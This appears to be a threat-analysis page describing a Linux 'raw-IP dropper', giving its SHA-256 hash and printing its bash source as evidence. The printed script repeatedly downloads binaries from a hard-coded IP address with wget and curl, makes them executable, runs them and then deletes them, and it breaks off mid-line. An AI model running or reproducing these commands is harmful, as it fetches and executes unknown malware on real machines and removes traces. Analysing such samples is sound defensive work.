ok
Raw-IP dropper with cleanup
Raw-IP shell dropper executes and removes payloadsRepeated raw-IP payload download chmod execution
SHA-2569a378ca20eb319d0e04702a9018eadaa9d814acee5184b192b32d5c00679ac86
MaleculeO₂(C₂Er)H₃(Cm₇F₃Po)
Evidence
1#!/bin/bash
2wget http://5.182.210.174/6e9b28; curl -O http://5.182.210.174/6e9b28; chmod 777 6e9b28; ./6e9b28 bc; rm -rf 6e9b28; rm -rf 6e9b28.1
3wget http://5.182.210.174/3b1f5e; curl -O http://5.182.210.174/3b1f5e; chmod 777 3b1f5e; ./3b1f5e bc; rm -rf 3b1f5e; rm -rf 3b1f5e.1
4wget http://5.182.210.174/422255; curl -O http://5.182.210.174/422255; chmod 777 422255; ./422255 bc; rm -rf 422255; rm -rf 422255.1
5wget http://5.182.210.174/e77c7d; curl -O http://5.182.210.174/e77c7d; chmod 777 e77c7d; ./e77c7d bc; rm -rf e77c7d; rm -rf e77c7d.1
6wget http://5.182.210.174/1a6fb8; curl -O http://5.182.210.174/1a6fb8; chmod 777 1a6fb8; ./1a6fb8 bc; rm -rf 1a6fb8; rm -rf 1a6fb8.1
7wget http://5.182.210.174/b848da; curl -O http://5.182.210.174/b848da; chmod 777 b848da; ./b848da bc; rm -rf b848da; rm -rf b848da.1
8wget http://5.182.210.174/e87b93; curl -O http://5.182.210.174/e87b93; chmod 777 e87b93; ./e87b93 bc; rm -rf e87b93; rm -rf e87b93.1
9wget http://5.182.210.174/c15cf0; curl -O http://5.182.210.174/c15cf0; chmod 777 c15cf0; ./c15cf0 bc; rm -rf c15cf0; rm -rf c15cf0.1
10wget http://5.182.210.174/c76cc8; curl -O http://5.182.210.174/c76cc8; chmod 777 c76cc8; ./c76cc8 bc; rm -rf c76cc8; rm -rf c76cc8.1
11wget http://5.182.210.174/539df1; curl -O http://5.182.210.174/539df1; chmod 777 539df1 …